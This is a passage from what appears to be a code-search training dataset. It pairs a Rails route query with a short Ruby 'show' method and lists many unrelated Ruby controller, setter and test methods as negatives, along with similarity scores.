\"C\", \"D\")\n assert_equal Set[\"B\", \"C\", \"D\"], ogg['A']\n\n ogg.add_values(\"A\", *[])\n assert_equal Set[\"B\", \"C\", \"D\"], ogg['A']\n end", "def try_put(new_value)\n return false if @tvar.value != EMPTY\n\n @tvar.value = new_value\n true\n end", "def is_propvalue?(); @type == GRT_PROPVALUE; end", "def require_vagrant_config(value)\n if value.nil? == true \n log_error_and_raise(\"expected string value, got nil or empty string\")\n end\n\n if value.is_a?(Vagrant::Config::V2::Root) != true\n log_error_and_raise(\"expected Vagrant::Config::V2::Root value, got #{value.class}, #{value.inspect}\")\n end\n\n end", "def method_missing(meth, *args, &block)\n return 'Unknown config value: ' + meth.to_s\n end", "def ignore_value\n value_event = next_event\n\n if value_event.is_a?(Value)\n return\n end\n\n if value_event.is_a?(StartObject) || value_event.is_a?(StartArray)\n ignore_container\n return\n end\n\n raise StandardError, \"unknown value type to ignore #{value_event.class}\"\n end", "def set_type(val)\n self.type = val\n self\n end", "def set_value_by_type(definitions, value)\n value_type = definitions['type']\n if value.present?\n case value_type\n when 'string'\n value.gsub(/\\\"/, '')\n when 'integer'\n value.to_i\n when 'array'\n if value.is_a?(Array)\n value\n elsif value.is_a?(String)\n # try to split on commas to convert into array\n value.split(',')\n end\n else\n value\n end\n end\n end", "def type=(value)\n @type = value\n end", "def type=(value)\n @type = value\n end", "def type=(value)\n @type = value\n end", "def type=(value)\n @type = value\n end", "def type=(value)\n @type = value\n end", "def type=(value)\n @type = value\n end", "def type=(value)\n @type = value\n end", "def convert_to_type(value)\n if true_boolean?(value)\n return true\n elsif false_boolean?(value)\n return false\n elsif float?(value)\n converted_value = Float(value)\n elsif number?(value)\n converted_value = Integer(value)\n elsif path?(value)\n converted_value = value.strip\n elsif string?(value)\n converted_value = value.delete(\"\\\"\").strip\n elsif array?(value)\n vals = value.split(\",\")\n converted_value = vals.map { |v| v.delete(\"\\\"\").strip }\n elsif empty_setting?(value)\n fail INI::InvalidSetting, \"Invalid or blank setting value \\\n in config file: #{value}\"\n else\n converted_value = value.strip\n end\n converted_value\n end", "def value_types; end", "def create\n @config_set_value = ConfigSetValue.new(config_set_value_params)\n\n respond_to do |format|\n if @config_set_value.save\n format.html { redirect_to @config_set_value, notice: 'Config set value was successfully created.' }\n format.json { render :show, status: :created, location: @config_set_value }\n else\n format.html { render :new }\n format.json { render json: @config_set_value.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_Type(value)\n set_input(\"Type\", value)\n end", "def set_Type(value)\n set_input(\"Type\", value)\n end", "def spec_type(desc, *additional); end", "def register_type(klass, type)\n raise StandardError, \"Class #{klass} should be subclass of #{Node}\" unless klass <= Node\n\n registered_types[type] = klass\n end", "def log_config(value = Chef::NOT_PASSED)\n if value != Chef::NOT_PASSED\n @log_config = value\n log_driver value['Type']\n log_opts value['Config']\n end\n return @log_config if defined?(@log_config)\n def_logcfg = {}\n def_logcfg['Type'] = log_driver if property_is_set?(:log_driver)\n def_logcfg['Config'] = log_opts if property_is_set?(:log_opts)\n def_logcfg = nil if def_logcfg.empty?\n def_logcfg\n end", "def test_truth\n assert_kind_of UniqueProperty, @unique_property\n end", "def test_duplicate_name_allowed\n type = Type.new(:name => \"Personification\")\n type.metaphor_id = types(:metaphor_9682_type).metaphor_id\n assert type.save\n end", "def update_org_unit_config_var_resolution(resolver_value); end", "def define_type_on_metric_def_if_needed\n unless Hawkular::Metrics::MetricDefinition.respond_to? :type\n Hawkular::Metrics::MetricDefinition.class_eval do\n def type\n return @type\n end\n\n def type= (t)\n @type = t\n end\n end\n end\n end", "def test_merge_new_components_fails\n new_components = [{:reducer=>Struct::Reducer3}]\n expected = {:reducers=>[{:reducer=>Struct::Reducer1}, {:reducer=>Struct::Reducer2}], :loaders=>[{:loader=>Struct::Loader}]}\n assert_equal expected, profile.replace_components(reducers: new_components)\n end", "def expected_value; end", "def expected_value; end", "def should_skip_based_on?(old_type)\n if old_type != CURRENT_TYPE_TO_REPLACE\n return true\n end\n\n false\nend", "def test_to_collector_hash_returns_bare_hash\n @manager.delete_all_configs_for_testing\n @manager.add_config_for_testing(:eins => proc { self[:one] })\n\n assert_equal(::Hash, @manager.to_collector_hash.class)\n end" ]
[ "0.611953", "0.59729046", "0.572259", "0.5521056", "0.5489535", "0.54321575", "0.5407505", "0.53770584", "0.5319917", "0.5312386", "0.52669805", "0.5233366", "0.52177745", "0.5182841", "0.5179587", "0.5168866", "0.51542354", "0.51450723", "0.51428026", "0.5127585", "0.5127585", "0.51230097", "0.511041", "0.5104248", "0.50776005", "0.506178", "0.50519645", "0.5027567", "0.5016479", "0.5000639", "0.49927258", "0.49909982", "0.49738342", "0.4953282", "0.49431533", "0.4941473", "0.49381185", "0.4928306", "0.49100366", "0.49063054", "0.49028593", "0.489735", "0.48954168", "0.4894467", "0.4890488", "0.48732793", "0.48732793", "0.4868685", "0.4861695", "0.48585796", "0.48579678", "0.4852119", "0.48519248", "0.48510394", "0.48353973", "0.48348314", "0.48323414", "0.48286942", "0.48286942", "0.48215455", "0.48211607", "0.4810169", "0.48014125", "0.4800098", "0.4793943", "0.47934273", "0.4777883", "0.47758612", "0.47694334", "0.47657105", "0.47615322", "0.47592747", "0.475113", "0.47501615", "0.4747586", "0.47352102", "0.4727977", "0.47207627", "0.47207627", "0.47207627", "0.47207627", "0.47207627", "0.47207627", "0.47207627", "0.47178215", "0.4712855", "0.47097224", "0.47094646", "0.47094646", "0.47072732", "0.47071993", "0.47012475", "0.46968204", "0.46959522", "0.46953383", "0.4694815", "0.46930632", "0.4693038", "0.4693038", "0.4685718", "0.4681133" ]
0.0
-1
GET /brite_td_aswaxman_rt_waxmen GET /brite_td_aswaxman_rt_waxmen.json
def index @brite_td_aswaxman_rt_waxmen = BriteTdAswaxmanRtWaxman.all end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @brite_rt_waxmen = BriteRtWaxman.all\n end", "def index\n @brite_td_asbarabasi_rt_waxmen = BriteTdAsbarabasiRtWaxman.all\n end", "def set_brite_td_aswaxman_rt_waxman\n @brite_td_aswaxman_rt_waxman = BriteTdAswaxmanRtWaxman.find(params[:id])\n end", "def set_brite_td_asbarabasi_rt_waxman\n @brite_td_asbarabasi_rt_waxman = BriteTdAsbarabasiRtWaxman.find(params[:id])\n end", "def index\n @treks = Trek.all\n @title = \"Trekking routes and destinations\"\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @treks }\n end\n end", "def set_brite_rt_waxman\n @brite_rt_waxman = BriteRtWaxman.find(params[:id])\n end", "def index\n @status_del_tramite_de_becas = StatusDelTramiteDeBeca.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @status_del_tramite_de_becas }\n end\n end", "def index\n @buisnesses = Buisness.all\n\n render json: @buisnesses \n end", "def index\n @turmas = Turma.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @turmas }\n end\n end", "def index\n @wombats = Wombat.all\n end", "def index\n @wbr_data = WbrDatum.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @wbr_data }\n end\n end", "def index\n @dteors = Dteor.all\n @thems = get_tem\n respond_to do |format|\n if get_tem\n format.html # index.html.erb\n format.json { render json: @dteors } \n else\n format.html { redirect_to new_student_path, notice: t(:vvedit_dani)}\n end\n \n end\n end", "def index\n @bottlings = handle_sorting(:bottling, :sku, :wine, :bottle_size)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bottlings }\n end\n end", "def weekIndex\n render json: Restaurant.restaurantsWeek\n end", "def index\n @tipo_denuncia = TipoDenuncium.all\n\n render json: @tipo_denuncia\n end", "def index\n @wods = Wod.order(\"created_at DESC\")\n\n render json: @wods\n end", "def index\n @specialties = Specialty.all\n\n render json: @specialties\n end", "def index\n @plan_de_venta = PlanDeVentum.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @plan_de_venta }\n end\n end", "def index\n @verbindungs = Verbindung.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @verbindungs }\n end\n end", "def get\n\t\t\t result = Status.find_by(windmillid: params[:windmillid]) \n \t\t\trender json: [result.as_json(only: [:status,:power,:gen,:frequency,:rotor,:wind,:pitch])]\n\tend", "def index\n @whoarewes = Whoarewe.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @whoarewes }\n end\n end", "def index\n\t\tboats = Boat.all\n \trender json: boats, status: 200\n\tend", "def index\n @tenures = Tenure.all.order(\"updated_at DESC\").order(\"created_at DESC\")\n\n render json: @tenures\n end", "def index\n @powiadomienia = Powiadomienie.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @powiadomienia }\n end\n end", "def index\n @ways_of_admissions = WaysOfAdmission.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @ways_of_admissions }\n end\n end", "def index\n @aboutshetuans = Aboutshetuan.order(\"created_at desc\").page params[:page]\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @aboutshetuans }\n end\n end", "def index\n @reward_and_levels = RewardAndLevel.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reward_and_levels }\n end\n end", "def show\n render json: @wellist\n end", "def index\n @weddings = Wedding.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @weddings }\n end\n end", "def index\n @bills = @dwelling.bills\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bills }\n end\n end", "def index\n @delivery_men = DeliveryMan.all\n\n render json: @delivery_men, :each_serializer => ShortDeliveryManSerializer\n end", "def index\n @rentable_items = RentableItem.all\n render json: @rentable_items\n end", "def index\n @denuncia = Denuncium.all\n\n render json: @denuncia\n end", "def index\n @britts = Britt.all\n end", "def index\n render json: { \"Exercice Technique\" => \"Transporter Organizations Colisweb backend developer exercise\", \"Poste visé\" => \"Développeur Back Ruby, Alternance\", \"Candidat\" => \"Gressier Jimmy\"}\n end", "def index\n @b_twelves = BTwelf.all\n end", "def show\n @wine = Wine.find(params[:id])\n @bottlings = Bottling.find_all_by_wine_id(params[:id]).sort_by! {|b| b.bottle_size[0..-3].to_i }\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @wine }\n end\n end", "def index\n @department = Department.find(params[:department_id])\n @towns = @department.towns\n respond_to do |format|\n format.json { render json: @towns, status: :ok }\n end\n end", "def index\n @german_go_leagues = GermanGoLeague.all\n\t\t@title = \"Bundesliga Spiele\"\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @german_go_leagues }\n end\n end", "def show\n @wbr_datum = WbrDatum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @wbr_datum }\n end\n end", "def index\n @notadedebito = Notadedebito.find(params[:notadecredito_id])\n @renglon_notadebitos = @notadedebito.renglon_notadebitos\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @renglon_notadebitos }\n end\n end", "def index\n @waldos = Waldo.all\n end", "def create\n @brite_rt_waxman = BriteRtWaxman.new(brite_rt_waxman_params)\n\n respond_to do |format|\n if @brite_rt_waxman.save\n format.html { redirect_to @brite_rt_waxman, notice: 'Brite rt waxman was successfully created.' }\n format.json { render :show, status: :created, location: @brite_rt_waxman }\n else\n format.html { render :new }\n format.json { render json: @brite_rt_waxman.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @frais_hebergements = FraisHebergement.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @frais_hebergements }\n end\n end", "def create\n @brite_td_aswaxman_rt_waxman = BriteTdAswaxmanRtWaxman.new(brite_td_aswaxman_rt_waxman_params)\n\n respond_to do |format|\n if @brite_td_aswaxman_rt_waxman.save\n format.html { redirect_to @brite_td_aswaxman_rt_waxman, notice: 'Brite td aswaxman rt waxman was successfully created.' }\n format.json { render :show, status: :created, location: @brite_td_aswaxman_rt_waxman }\n else\n format.html { render :new }\n format.json { render json: @brite_td_aswaxman_rt_waxman.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @brags = Brag.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @brags }\n end\n end", "def index\n @wowolinks = Wowolink.all\n respond_to do |format|\n format.json {\n render :json => @wowolinks, :layout => false\n }\n end\n end", "def index\n @interno_unidads = InternoUnidad.all\n render json: @interno_unidads\n end", "def index\n @wears = Wear.all.order(brand: :asc)\n render json: @wears\n end", "def index\n @bitacoras = Bitacora.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bitacoras }\n end\n end", "def index\n @bounties = Bounty.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @bounties }\n end\n end", "def index\n types = @user.tried_beer_ratings.last.beer_types.map do |type|\n {name: type.name, description: type.beg_description}\n end\n render json: types\n end", "def index\n @wrestlers = Wrestler.all\n end", "def index\n \n @trends = Trend.order(\"as_of DESC\").limit(10)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @trends }\n end\n\n end", "def index\n @wizyta = Wizytum.all\n end", "def index\n @meant_it_rels = MeantItRel.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @meant_it_rels }\n end\n end", "def index\n @shop_section = ShopSection.find_by_short_url(\"brands\")\n @brands = Brand.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @brands }\n end\n end", "def index\n @rameurs = Rameur.where(confirmation_token: nil).asc(\"prenom\").asc(\"nom\").paginate(page: params[:page], per_page: 5)\n\n respond_to do |format|\n format.html { @rameurs }\n format.json {\n render json: {\n current_page: @rameurs.current_page,\n per_page: @rameurs.per_page,\n total_entries: @rameurs.total_entries,\n entries: @rameurs\n }\n }\n end\n end", "def index\n @rents = Rent.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @rents }\n end\n end", "def index\n @sightings = Sighting.all\n render json: @sightings\n end", "def create\n @brite_td_asbarabasi_rt_waxman = BriteTdAsbarabasiRtWaxman.new(brite_td_asbarabasi_rt_waxman_params)\n\n respond_to do |format|\n if @brite_td_asbarabasi_rt_waxman.save\n format.html { redirect_to @brite_td_asbarabasi_rt_waxman, notice: 'Brite td asbarabasi rt waxman was successfully created.' }\n format.json { render :show, status: :created, location: @brite_td_asbarabasi_rt_waxman }\n else\n format.html { render :new }\n format.json { render json: @brite_td_asbarabasi_rt_waxman.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n all=Sale.where(active:true)\n ventas= resumen all \n\n render json:ventas\n end", "def brite_td_asbarabasi_rt_waxman_params\n params.require(:brite_td_asbarabasi_rt_waxman).permit(:name, :edgeconn, :k, :bwinter, :bwintermin, :bwintermax, :bwintra, :bwintramin, :bwintramax, :name, :description, :status, :generator_id, :type_id, :user_id)\n end", "def index\n\n @debtors = Debtor.all\n\n render json: @debtors\n end", "def show\n render json: @tenure\n end", "def index\n @weapons_types = WeaponsType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @weapons_types }\n end\n end", "def index\n @wks = Wk.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @wks }\n end\n end", "def get_batterie_by_building\n @battery = Battery.where(building_id: params[:building_id])\n respond_to do |format| \n format.json { render :json => @battery }\n end\n \n end", "def index\n @wits = Wit.all\n end", "def index\n # @wikis = Wiki.all\n @wikis = Wiki.find_all_by_title('Home')\n @allwikis = Wiki.recent.limit(10) \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @wikis }\n end\n end", "def index\n @stay_in = \"Danh Mục Phim\"\n @admin_movies = Movie.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @admin_movies }\n end\n end", "def show\n @bilhete = Bilhete.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bilhete }\n end\n end", "def brite_td_aswaxman_rt_waxman_params\n params.require(:brite_td_aswaxman_rt_waxman).permit(:name, :edgeconn, :k, :bwinter, :bwintermin, :bwintermax, :bwintra, :bwintramin, :bwintramax, :name, :n, :hs, :ls, :nodeplacement, :growthtype, :m, :alpha, :beta, :bwdist, :bwmin, :bwmax, :name_rtwaxman, :n_waxman, :hs_waxman, :ls_waxman, :nodeplacement, :growthtype_waxman, :m_waxman, :alpha_waxman, :beta_waxman, :bwdist_waxman, :bwmin_waxman, :bwmax_waxman)\n end", "def show\n @buchung = Buchung.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @buchung }\n end\n end", "def index\r\n @wai = WaisResult.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.json { render json: @wai }\r\n end\r\n # @wais = Wai.all\r\n #\r\n # respond_to do |format|\r\n # format.html # index.html.erb\r\n # format.json { render json: @wais }\r\n # end\r\n\r\n end", "def index\n @weights = current_user.weights.order(\"date DESC\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @weights }\n end\n end", "def index\n @tprimarytumors = Tprimarytumor.all\n respond_to do |format|\n format.html\n format.json { render :json => @tprimarytumors.map(&:attributes) }\n end\n end", "def show\n @bottling = Bottling.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bottling }\n end\n end", "def index\n @compte_bancaires = CompteBancaire.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json :@compte_bancaires }\n end\n end", "def getbatteries\n puts params\n buildid = params[\"buildingid\"]\n\n batteries = Battery.where(:building_id => buildid)\n\n puts batteries.inspect\n puts \"#################################################\"\n \n respond_to do |format|\n format.json { render json: batteries }\n end\n end", "def monthIndex\n render json: Restaurant.restaurantsMonth\n end", "def index\n @wms = WmsResult.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @wms }\n end\n end", "def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @devans }\n end\n end", "def index\n @witnesses = Witness.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @witnesses }\n end\n end", "def index\n sighting = Sighting.all \n render json: SightingSerializer.new(sighting)\n end", "def index\n @ruas = Rua.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ruas }\n end\n end", "def index\n render json: { bookings: @site.bookings.order(datetime: :asc) }, status: 200\n end", "def index\n @breeds = Breed.all\n\n render json: @breeds\n end", "def index\n @notadedebito = Notadedebito.find(params[:notadedebito_id])\n @renglon_nddndcs = @notadedebito.renglon_nddndcs\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @renglon_nddndcs }\n end\n end", "def index\n getProfile\n @availabilities = @therapist.get_availabilities\n @rec_Availabilities = @therapist.get_recuring_availabilities(2000,1)\n respond_to do |format|\n format.html { redirect_to availabitity_index, notice: \"Appointment declined.\"}\n format.json { render :status => 200, :json => { action: :index,\n availabilities: @availabilities,\n rec_availabilities: @rec_Availabilities,\n user: @user, therapist: @therapist}}\n end\n end", "def index\n @tunes = Tune.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tunes }\n end\n end", "def show\n @wager = Wager.find(params[:id])\n\n render json: @wager\n end", "def index\n @bronies = Brony.all\n end", "def index\n @weapon_types = WeaponType.all\n\n render json: @weapon_types\n end", "def show\n @basin = Basin.find(params[:id])\n\n @client = YahooWeather::Client.new \n @response = @client.fetch_by_location('Massingir, Gaza, Mz','c')\n @reponse2 = @client.fetch_by_location('Louis Trichardt, Limpopo, South Africa','c')\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @basin }\n\n end\n end", "def show\n @webling = Webling.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @webling }\n end\n end", "def index\n screen_name(\"Admin-Indice-Manifestaciones-FRBR\")\n @frbr_manifestations = FrbrManifestation.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @frbr_manifestations }\n end\n end", "def update\n respond_to do |format|\n if @brite_rt_waxman.update(brite_rt_waxman_params)\n format.html { redirect_to @brite_rt_waxman, notice: 'Brite rt waxman was successfully updated.' }\n format.json { render :show, status: :ok, location: @brite_rt_waxman }\n else\n format.html { render :edit }\n format.json { render json: @brite_rt_waxman.errors, status: :unprocessable_entity }\n end\n end\n end", "def get_brandings\n request :get, \"/v3/brandings.json\"\n end", "def index\n @title = \"Типы лечения\"\n @treatment_types = TreatmentType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @treatment_types }\n end\n end" ]
[ "0.7266996", "0.7229159", "0.62999576", "0.6242721", "0.6136489", "0.6088682", "0.5998789", "0.5962454", "0.5942457", "0.5917993", "0.5908924", "0.5906845", "0.5883261", "0.58676434", "0.5851696", "0.5821017", "0.5816894", "0.581649", "0.58136463", "0.5810217", "0.58024997", "0.58024603", "0.5789938", "0.5786862", "0.57721627", "0.575685", "0.5748443", "0.5740574", "0.5733319", "0.5723071", "0.57228273", "0.5718148", "0.57057554", "0.5702484", "0.5702165", "0.57011527", "0.5700366", "0.56985325", "0.56918395", "0.5683617", "0.5681183", "0.5680744", "0.56771564", "0.5663789", "0.56606156", "0.5659303", "0.5656746", "0.56418216", "0.5630521", "0.56280947", "0.56278783", "0.56265545", "0.56187046", "0.5617858", "0.5616651", "0.56164944", "0.5616157", "0.5613434", "0.561222", "0.56100357", "0.5599742", "0.55938303", "0.5593585", "0.557894", "0.5574692", "0.5572813", "0.55718434", "0.557126", "0.5571165", "0.55706966", "0.5570481", "0.556255", "0.55620843", "0.55594134", "0.55562145", "0.55539936", "0.5552394", "0.5551109", "0.55496395", "0.55496347", "0.55474585", "0.5542351", "0.55362463", "0.55360717", "0.5534581", "0.55343527", "0.55330443", "0.5528241", "0.55263877", "0.5525523", "0.5521952", "0.5515925", "0.55145997", "0.5510611", "0.5505941", "0.55049443", "0.5503632", "0.5499076", "0.54987127", "0.549761" ]
0.73295295
0
GET /brite_td_aswaxman_rt_waxmen/1 GET /brite_td_aswaxman_rt_waxmen/1.json
def show end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @brite_rt_waxmen = BriteRtWaxman.all\n end", "def index\n @brite_td_aswaxman_rt_waxmen = BriteTdAswaxmanRtWaxman.all\n end", "def index\n @brite_td_asbarabasi_rt_waxmen = BriteTdAsbarabasiRtWaxman.all\n end", "def set_brite_td_asbarabasi_rt_waxman\n @brite_td_asbarabasi_rt_waxman = BriteTdAsbarabasiRtWaxman.find(params[:id])\n end", "def set_brite_td_aswaxman_rt_waxman\n @brite_td_aswaxman_rt_waxman = BriteTdAswaxmanRtWaxman.find(params[:id])\n end", "def index\n @delivery_men = DeliveryMan.all\n\n render json: @delivery_men, :each_serializer => ShortDeliveryManSerializer\n end", "def index\n @treks = Trek.all\n @title = \"Trekking routes and destinations\"\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @treks }\n end\n end", "def get\n\t\t\t result = Status.find_by(windmillid: params[:windmillid]) \n \t\t\trender json: [result.as_json(only: [:status,:power,:gen,:frequency,:rotor,:wind,:pitch])]\n\tend", "def set_brite_rt_waxman\n @brite_rt_waxman = BriteRtWaxman.find(params[:id])\n end", "def index\n @reward_and_levels = RewardAndLevel.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reward_and_levels }\n end\n end", "def index\n @buisnesses = Buisness.all\n\n render json: @buisnesses \n end", "def index\n @status_del_tramite_de_becas = StatusDelTramiteDeBeca.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @status_del_tramite_de_becas }\n end\n end", "def index\n @wombats = Wombat.all\n end", "def index\n @powiadomienia = Powiadomienie.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @powiadomienia }\n end\n end", "def index\n @tipo_denuncia = TipoDenuncium.all\n\n render json: @tipo_denuncia\n end", "def index\n @dteors = Dteor.all\n @thems = get_tem\n respond_to do |format|\n if get_tem\n format.html # index.html.erb\n format.json { render json: @dteors } \n else\n format.html { redirect_to new_student_path, notice: t(:vvedit_dani)}\n end\n \n end\n end", "def index\n\t\tboats = Boat.all\n \trender json: boats, status: 200\n\tend", "def index\n @aboutshetuans = Aboutshetuan.order(\"created_at desc\").page params[:page]\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @aboutshetuans }\n end\n end", "def weekIndex\n render json: Restaurant.restaurantsWeek\n end", "def index\n render json: { \"Exercice Technique\" => \"Transporter Organizations Colisweb backend developer exercise\", \"Poste visé\" => \"Développeur Back Ruby, Alternance\", \"Candidat\" => \"Gressier Jimmy\"}\n end", "def index\n @wods = Wod.order(\"created_at DESC\")\n\n render json: @wods\n end", "def index\n @turmas = Turma.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @turmas }\n end\n end", "def index\n @specialties = Specialty.all\n\n render json: @specialties\n end", "def show\n render json: @wellist\n end", "def get_batterie_by_building\n @battery = Battery.where(building_id: params[:building_id])\n respond_to do |format| \n format.json { render :json => @battery }\n end\n \n end", "def index\n @wbr_data = WbrDatum.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @wbr_data }\n end\n end", "def index\n # @wikis = Wiki.all\n @wikis = Wiki.find_all_by_title('Home')\n @allwikis = Wiki.recent.limit(10) \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @wikis }\n end\n end", "def index\n @denuncia = Denuncium.all\n\n render json: @denuncia\n end", "def show\n @webling = Webling.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @webling }\n end\n end", "def show\n @buchung = Buchung.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @buchung }\n end\n end", "def show\n @wbr_datum = WbrDatum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @wbr_datum }\n end\n end", "def index\n @verbindungs = Verbindung.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @verbindungs }\n end\n end", "def show\n @basin = Basin.find(params[:id])\n\n @client = YahooWeather::Client.new \n @response = @client.fetch_by_location('Massingir, Gaza, Mz','c')\n @reponse2 = @client.fetch_by_location('Louis Trichardt, Limpopo, South Africa','c')\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @basin }\n\n end\n end", "def index\n @whoarewes = Whoarewe.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @whoarewes }\n end\n end", "def index\n @rentable_items = RentableItem.all\n render json: @rentable_items\n end", "def show\n @wager = Wager.find(params[:id])\n\n render json: @wager\n end", "def show\n @bilhete = Bilhete.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bilhete }\n end\n end", "def index\n @ways_of_admissions = WaysOfAdmission.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @ways_of_admissions }\n end\n end", "def index\n @shop_section = ShopSection.find_by_short_url(\"brands\")\n @brands = Brand.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @brands }\n end\n end", "def show\n @monit = Monit.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @monit }\n end\n end", "def monthIndex\n render json: Restaurant.restaurantsMonth\n end", "def show\n @wine = Wine.find(params[:id])\n @bottlings = Bottling.find_all_by_wine_id(params[:id]).sort_by! {|b| b.bottle_size[0..-3].to_i }\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @wine }\n end\n end", "def index\n @stay_in = \"Danh Mục Phim\"\n @admin_movies = Movie.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @admin_movies }\n end\n end", "def index\n @minerals = Mineral.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @minerals }\n end\n end", "def index\n @wears = Wear.all.order(brand: :asc)\n render json: @wears\n end", "def index\n @bills = @dwelling.bills\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bills }\n end\n end", "def index\r\n @wai = WaisResult.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.json { render json: @wai }\r\n end\r\n # @wais = Wai.all\r\n #\r\n # respond_to do |format|\r\n # format.html # index.html.erb\r\n # format.json { render json: @wais }\r\n # end\r\n\r\n end", "def getbatteries\n puts params\n buildid = params[\"buildingid\"]\n\n batteries = Battery.where(:building_id => buildid)\n\n puts batteries.inspect\n puts \"#################################################\"\n \n respond_to do |format|\n format.json { render json: batteries }\n end\n end", "def index\n @weddings = Wedding.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @weddings }\n end\n end", "def index\n @german_go_leagues = GermanGoLeague.all\n\t\t@title = \"Bundesliga Spiele\"\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @german_go_leagues }\n end\n end", "def index\n @bounties = Bounty.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @bounties }\n end\n end", "def index\n @tenures = Tenure.all.order(\"updated_at DESC\").order(\"created_at DESC\")\n\n render json: @tenures\n end", "def index\n @plan_de_venta = PlanDeVentum.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @plan_de_venta }\n end\n end", "def index\n @himalayas ||= Himalaya.limit(10).order('id desc')\n @descuentos ||= Descuento.limit(10).order('id desc')\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @himalayas }\n end\n end", "def show\n @bottling = Bottling.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bottling }\n end\n end", "def show\n @mosttinymobtrail = Mosttinymobtrail.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @mosttinymobtrail }\n end\n end", "def show\n @receita_medica = ReceitaMedica.find(params[:id])\n @item_receitas = @receita_medica.item_receitas.all\n respond_to do |format|\n format.html # show.html.erb \n format.json { render json: {\n :receita => @receita_medica, \n :medicamentos => @receita_medica.item_receitas.collect {|t| [t.medicamento.nome, t.posologia, t.quantidade]} } }\n end\n end", "def show\n @lich_su_binh_bau = 